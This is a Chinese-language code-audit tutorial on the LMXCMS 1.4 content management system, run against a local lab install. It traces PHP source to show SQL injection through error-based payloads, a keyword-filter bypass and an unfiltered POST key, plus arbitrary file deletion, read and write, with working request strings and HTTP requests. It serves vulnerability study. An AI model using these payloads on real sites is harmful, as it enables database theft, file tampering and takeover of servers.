目录
(2)BackdbAction.class.php任意文件删除
一、环境搭建
这里选择的是phpstudy搭建的
源码下载:http://www.lmxcms.com/down/xitong/
下载的是1.4版本,虽然是很早的版本了,但是主要是学习代码审计。
安装一下。
注意这里的php版本不能太高,我用7.3.4版本会报错,改成5.x就可以了
数据库需要提前创建
create DATABASE lmxcms;
数据库用户名密码是你自己的,没改的话基本上都是这个
安装完成。
二、代码审计
phpstorm打开源码,
是一个mc架构
1、后台漏洞
(1)BookAction.class.php
打开c\admin\BookAction.class.php,网址对应的就是/admin.php?m=book&a=index
先看这一部分
public function reply(){
$id = $_GET['id'] ? $_GET['id'] : $_POST['id'];
//获取回复数据
$reply = $this->bookModel->getReply(array($id));
if($reply){
$reply = string::html_char($reply[0]['content']);
$this->smarty->assign('content',$reply);
$this->smarty->assign('type','update');
}else{
$this->smarty->assign('type','add');
}
if(isset($_POST['reply'])){
if(!$_POST['content']){
rewrite::js_back('回复内容不能为空');
}
$this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));
addlog('留言回复【id:'.$_POST['id'].'】');
rewrite::succ('修改成功','?m=Book');
}
$this->smarty->assign('id',$id);
$this->smarty->display('Book/reply.html');
}
可以看到传入了一个参数,然后调用了getReply函数,跟进一下
public function getReply(array $id){
$id = implode(',',$id);
$param['where'] = 'uid in('.$id.')';
return parent::selectModel($param);
}
其中implode() 函数返回一个由数组元素组合成的字符串。跟进selectModel函数
protected function selectModel($param=array()){
if($param['field']){
$this->field=$param['field'];
}
return parent::selectDB($this->tab['0'],$this->field,$param);
}
再跟进selectDB函数
protected function selectDB($tab,Array $field,$param=array()){
$arr = array();
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$sqlStr = $this->where($param);
$sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";
$result=$this->query($sql);
while(!!$a=mysql_fetch_assoc($result)){
$arr[]=$a;
}
$this->result($result);
return $arr;
}
这里我们可以看到他将我们输入的直接拼接到select语句里面了,相当于底层没有进行一个过滤,那么你的所有防御只能靠上层去加,如果有疏漏就会产生漏洞。
这里我们进行一个调试,在sql语句下面加一个echo。
然后我们传一个参数看看
http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1
注意这里要把a的参数值改为reply,即我们最开始的那个函数名
可以看到有回显,我们写一个简单的报错注入
http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23
版本显示出来了。
(2)BackdbAction.class.php任意文件删除
private function delOne($filename){
$dir = ROOT_PATH.'file/back/'.$filename;
file::unLink($dir);
}
非常简单的一个任意文件删除漏洞,虽然这里的unlink函数自定义的,但是依旧是用来php的unlink函数
public static function unLink($path){
if($path == ROOT_PATH) return;
if(is_file($path)){
if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');
return true;
}
}
往上跟,看哪里用了这个delOne函数
public function delbackdb(){
$filename = trim($_GET['filename']);
if(!$filename){
rewrite::js_back('备份文件不存在');
}
$this->delOne($filename);
addlog('删除数据库备份文件');
rewrite::succ('删除成功');
}
在根目录下新建一个1.txt文件
http://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt
访问后文件删除
(3)file.class.php任意文件读(写)漏洞
源码位于class\file.class.php
public static function getcon($path){
if(is_file($path)){
if(!$content = file_get_contents($path)){
rewrite::js_back('请检查【'.$path.'】是否有读取权限');
}else{
return $content;
}
}else{
rewrite::js_back('请检查【'.$path.'】文件是否存在');
}
}
这里自定义了一个getcon函数,里面有file_get_contents函数,并且没有进行过滤,全局搜索一下哪里使用了getcon函数,发现在TemplateAction.class.php里面有使用
public function editfile(){
$dir = $_GET['dir'];
//保存修改
if(isset($_POST['settemcontent'])){
if($this->config['template_edit']){
rewrite::js_back('系统设置禁止修改模板文件');
}
file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));
addlog('修改模板文件'.$this->config['template'].$dir);
rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);
exit();
}
$pathinfo = pathinfo($dir);
//获取文件内容
$content = string::html_char(file::getcon($this->config['template'].$dir));
$this->smarty->assign('filename',$pathinfo['basename']);
$this->smarty->assign('temcontent',$content);
$this->smarty->assign('dir',dirname($_GET['dir']));
$this->smarty->display('Template/temedit.html');
}
而且还有一个put函数,跟进后发现是一个写入函数且没有做过滤,所以应该也存在任意文件写入漏洞
public static function put($path,$data){
if(file_put_contents($path,$data) === false)
rewrite::js_back('请检查【'.$path.'】是否有读写权限');
}
http://localhost/lmxcms1.4/admin.php?m=template&a=editfile&dir=../index.php
然后是任意文件写入
POST /lmxcms1.4/admin.php?m=template&a=editfile&dir=../ HTTP/1.1
Host: 192.168.10.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hj49pcad45kalidvtjv3p717u7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
settemcontent=1&filename=a.php&temcontent=<?php phpinfo()?>
然后访问
成功写入
2、前台漏洞
(1)TagsAction.class.php
毕竟渗透的流程是先前台注入拿到后台密码再去后台getshell,所以前台漏洞是很重要的。
前台的代码是在c\index下的,我们打开c\index\TagsAction.class.php
<?php
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>
我们可以看到他自定义了一个p函数,跟进一下
/* 验证表单数据
* $type 1:post数据,2:get数据 否则为$type
* $pe 是否转义
* $sql 是否验证sql非法字符
* $mysql 是否验证mysql保留字符
*/
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
这里提示我们过滤了sql注入,跟进filter_sql函数
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
}
}
}
}
可以看到一个黑名单,不允许使用这些方法,这导致大部分查询都用不了了,那么我们就要从外部绕过p函数,如果从里面绕过这些比较麻烦。
再看p函数下面的delHtml,这个是过滤掉html标签的函数,那么我们就可以传入一个sel<>ect,这样就可以绕过p函数,且在delHtml函数中将<>去掉变成select。
这里我们试一下可不可以
首先跟进getNameData函数,一直跟到底,
protected function oneDB($tab,Array $field,Array $param){
$field = implode(',',$field);
$force = '';
//强制进入某个索引
if($param['force']) $force = ' force index('.$param['force'].')';
if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';
$We = $this->where($param);
$sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";
echo $sql;
$result=$this->query($sql);
$data = mysql_fetch_assoc($result);
return $data ? $data : array();
}
在这里加个echo $sql;
然后我们用burp suite抓一下包
/lmxcms1.4/index.php?m=Tags&name=a
我们尝试单引号能不能闭合
可以看到被转义了,这是因为p函数的原因,我们再尝试select
看到提示数据非法,那我们试一下sel<>ect
看到成功绕过
之后再看下面有个urldecode,他将我们的语句进行了一次url解码,所以我们可以先将我们的语句进行两次url编码就可以绕过了,因为它本身要进行一次url解码
成功注入,这个就有点像ctf的考点了
(2)BookAction.class.php
进入c\index\BookAction.class.php
public function index(){
if(isset($_POST['setbook'])){//提交留言
$data = $this->checkData();
if($this->bookModel->add($data)){
$this->setBookTime(); //存储提交时间
rewrite::succ($this->l['book_ok']);
}else{
rewrite::error($this->l['book_error']);
}
}
看到一个post传参,然后跟进checkData函数
private function checkData(){
$arr['name'] = '';
$arr['content'] = '';
$arr['mail'] = '';
$arr['tel'] = '';
$arr['ip'] = getip();
//验证短时间内过多留言
if($this->bookModel->is_ip($arr['ip'],$this->config['book_out_time']) >= $this->config['book_out_time_num']){
rewrite::error($this->l['book_outtime']);
}
$this->bookTime(); //验证提交间隔时间
$data = p(1,1,1); //验证前台数据
$data = array_merge($arr,$data);
if(!$data['name']) rewrite::js_back($this->l['book_name_must']);
if(!$data['content']) rewrite::js_back($this->l['book_content_must']);
//过滤html代码
foreach($data as $k => $v){
$data[$k] = string::delHtml($v);
}
unset($data['setbook']);
return $data;
}
一堆参数,然后就是p函数
再看下面的add方法
public function add($data){
$data['time'] = time();
return parent::addModel($data);
}
addModel函数就是一个sql查询语句,直接跟到底
protected function addDB($tab,$data){
foreach($data as $key=>$v){
$field[]=$key;
$value[]="'$v'";
}
$field = implode(',',$field);
$value = implode(",",$value);
$sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
echo $sql;
$this->query($sql);
return mysql_insert_id();
}
依旧在这里把sql语句打印出来,用burp suite传一下
POST /lmxcms1.4/index.php?m=book HTTP/1.1
Host: 192.168.10.128
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fqieraqhgsfnul7hnv8a8t89t0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
setbook=a&name=b&content=c&mail=d&tel=e
看到这是一个insert语句,但是在checkData函数里面可以知道我们传入的先经过p函数检验,再经过delHtml函数,虽然可以通关尖括号绕过p函数,但是没有办法进行单引号闭合,所以值这里没有办法注入。
但是addDB函数中插入sql语句的有两个地方,一个是field,一个是value,往上看知道data键值对的值被单引号包裹了,而key没有,所以注入点在key
protected function addDB($tab,$data){
foreach($data as $key=>$v){
$field[]=$key;
$value[]="'$v'";
}
$field = implode(',',$field);
$value = implode(",",$value);
$sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";
echo $sql;
$this->query($sql);
return mysql_insert_id();
}
跟到p函数里面也可以看到
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
它只对值进行了过滤并没有对key进行过滤
加入一个键值对进行注入
setbook=a&name=b&content=c&mail=d&tel=e&time)values(1,2,3,4,5,6)#=f
看到没有报错,是注入成功的,但是怎么有回显呢?(其实这里也可以用报错注入)
将db.class.php里面的echo $sql;全部注释掉,访问
http://localhost/lmxcms1.4/index.php?m=book
如果不注释会导致页面不正常
发现有内容,但是我们注入的并没有出现,直接去MySQL里查
发现我们之前的内容在里面,知道确实注入成功了,然后还看到一个ischeck,之前在页面中回显出来的ischeck值都为1,所以我们也可以加一个ischeck
setbook=a&name=b&content=c&mail=d&tel=e&time,ischeck)values(1,database(),3,4,5,6,1)#=f
然后刷新页面